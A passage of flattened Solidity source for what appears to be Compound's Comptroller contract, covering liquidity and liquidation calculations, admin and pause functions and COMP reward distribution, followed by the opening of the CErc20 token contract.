borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // Keep the flywheel moving updateCompSupplyIndex(cTokenCollateral); distributeSupplierComp(cTokenCollateral, borrower, false); distributeSupplierComp(cTokenCollateral, liquidator, false); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(cToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, src, false); distributeSupplierComp(cToken, dst, false); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToDenom * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint(Error.NO_ERROR); } function _addMarketInternal(address cToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); } /** * @notice Checks caller is admin, or this contract is becoming the new implementation */ function adminOrInitializing() internal view returns (bool) { return msg.sender == admin || msg.sender == comptrollerImplementation; } /*** Comp Distribution ***/ /** * @notice Recalculate and update COMP speeds for all COMP markets */ function refreshCompSpeeds() public { require(msg.sender == tx.origin, "only externally owned accounts may refresh speeds"); refreshCompSpeedsInternal(); } function refreshCompSpeedsInternal() internal { CToken[] memory allMarkets_ = allMarkets; for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompSupplyIndex(address(cToken)); updateCompBorrowIndex(address(cToken), borrowIndex); } Exp memory totalUtility = Exp({mantissa: 0}); Exp[] memory utilities = new Exp[](allMarkets_.length); for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; if (markets[address(cToken)].isComped) { Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(cToken)}); Exp memory utility = mul_(assetPrice, cToken.totalBorrows()); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets[i]; uint newSpeed = totalUtility.mantissa > 0 ? mul_(compRate, div_(utilities[i], totalUtility)) : 0; compSpeeds[address(cToken)] = newSpeed; emit CompSpeedUpdated(cToken, newSpeed); } } /** * @notice Accrue COMP to the market by updating the supply index * @param cToken The market whose supply index to update */ function updateCompSupplyIndex(address cToken) internal { CompMarketState storage supplyState = compSupplyState[cToken]; uint supplySpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(supplyState.block)); if (deltaBlocks > 0 && supplySpeed > 0) { uint supplyTokens = CToken(cToken).totalSupply(); uint compAccrued = mul_(deltaBlocks, supplySpeed); Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: supplyState.index}), ratio); compSupplyState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { supplyState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Accrue COMP to the market by updating the borrow index * @param cToken The market whose borrow index to update */ function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal { CompMarketState storage borrowState = compBorrowState[cToken]; uint borrowSpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(borrowState.block)); if (deltaBlocks > 0 && borrowSpeed > 0) { uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex); uint compAccrued = mul_(deltaBlocks, borrowSpeed); Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: borrowState.index}), ratio); compBorrowState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { borrowState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Calculate COMP accrued by a supplier and possibly transfer it to them * @param cToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute COMP to */ function distributeSupplierComp(address cToken, address supplier, bool distributeAll) internal { CompMarketState storage supplyState = compSupplyState[cToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]}); compSupplierIndex[cToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CToken(cToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(compAccrued[supplier], supplierDelta); compAccrued[supplier] = transferComp(supplier, supplierAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate COMP accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param cToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute COMP to */ function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal { CompMarketState storage borrowState = compBorrowState[cToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]}); compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta); compAccrued[borrower] = transferComp(borrower, borrowerAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Transfer COMP to the user, if they are above the threshold * @dev Note: If there is not enough COMP, we do not perform the transfer all. * @param user The address of the user to transfer COMP to * @param userAccrued The amount of COMP to (possibly) transfer * @return The amount of COMP which was NOT transferred to the user */ function transferComp(address user, uint userAccrued, uint threshold) internal returns (uint) { if (userAccrued >= threshold && userAccrued > 0) { Comp comp = Comp(getCompAddress()); uint compRemaining = comp.balanceOf(address(this)); if (userAccrued <= compRemaining) { comp.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) public { return claimComp(holder, allMarkets); } /** * @notice Claim all the comp accrued by holder in the specified markets * @param holder The address to claim COMP for * @param cTokens The list of markets to claim COMP in */ function claimComp(address holder, CToken[] memory cTokens) public { address[] memory holders = new address[](1); holders[0] = holder; claimComp(holders, cTokens, true, true); } /** * @notice Claim all comp accrued by the holders * @param holders The addresses to claim COMP for * @param cTokens The list of markets to claim COMP in * @param borrowers Whether or not to claim COMP earned by borrowing * @param suppliers Whether or not to claim COMP earned by supplying */ function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public { for (uint i = 0; i < cTokens.length; i++) { CToken cToken = cTokens[i]; require(markets[address(cToken)].isListed, "market must be listed"); if (borrowers == true) { Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompBorrowIndex(address(cToken), borrowIndex); for (uint j = 0; j < holders.length; j++) { distributeBorrowerComp(address(cToken), holders[j], borrowIndex, true); } } if (suppliers == true) { updateCompSupplyIndex(address(cToken)); for (uint j = 0; j < holders.length; j++) { distributeSupplierComp(address(cToken), holders[j], true); } } } } /*** Comp Distribution Admin ***/ /** * @notice Set the amount of COMP distributed per block * @param compRate_ The amount of COMP wei per block to distribute */ function _setCompRate(uint compRate_) public { require(adminOrInitializing(), "only admin can change comp rate"); uint oldRate = compRate; compRate = compRate_; emit NewCompRate(oldRate, compRate_); refreshCompSpeedsInternal(); } /** * @notice Add markets to compMarkets, allowing them to earn COMP in the flywheel * @param cTokens The addresses of the markets to add */ function _addCompMarkets(address[] memory cTokens) public { require(adminOrInitializing(), "only admin can add comp market"); for (uint i = 0; i < cTokens.length; i++) { _addCompMarketInternal(cTokens[i]); } refreshCompSpeedsInternal(); } function _addCompMarketInternal(address cToken) internal { Market storage market = markets[cToken]; require(market.isListed == true, "comp market is not listed"); require(market.isComped == false, "comp market already added"); market.isComped = true; emit MarketComped(CToken(cToken), true); if (compSupplyState[cToken].index == 0 && compSupplyState[cToken].block == 0) { compSupplyState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } if (compBorrowState[cToken].index == 0 && compBorrowState[cToken].block == 0) { compBorrowState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } } /** * @notice Remove a market from compMarkets, preventing it from earning COMP in the flywheel * @param cToken The address of the market to drop */ function _dropCompMarket(address cToken) public { require(msg.sender == admin, "only admin can drop comp market"); Market storage market = markets[cToken]; require(market.isComped == true, "market is not a comp market"); market.isComped = false; emit MarketComped(CToken(cToken), false); refreshCompSpeedsInternal(); } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the COMP token * @return The address of COMP */ function getCompAddress() public view returns (address) { return 0xbc16da9df0A22f01A16BC0620a27e7D6d6488550; } } pragma solidity ^0.5.16; import "./CToken.sol"; /** * @title Compound's CErc20 Contract * @notice CTokens which wrap an EIP-20 underlying * @author Compound */ contract CErc20 is CToken, CErc20Interface { /** * @notice Initialize the new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { // CToken initialize does the bulk of the work super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set underlying and sanity check it underlying = underlying_; EIP20Interface(underlying).totalSupply(); } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { (uint err,) = mintInternal(mintAmount); return err; } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { (uint err,) = repayBorrowInternal(repayAmount); return err; } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { (uint err,) = repayBorrowBehalfInternal(borrower, repayAmount); return err; } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { (uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral); return err; } /** * @notice The sender adds to reserves. * @param addAmount The amount fo underlying token to add as reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { return _addReservesInternal(addAmount); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint) { EIP20Interface token = EIP20Interface(underlying); return token.balanceOf(address(this)); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function 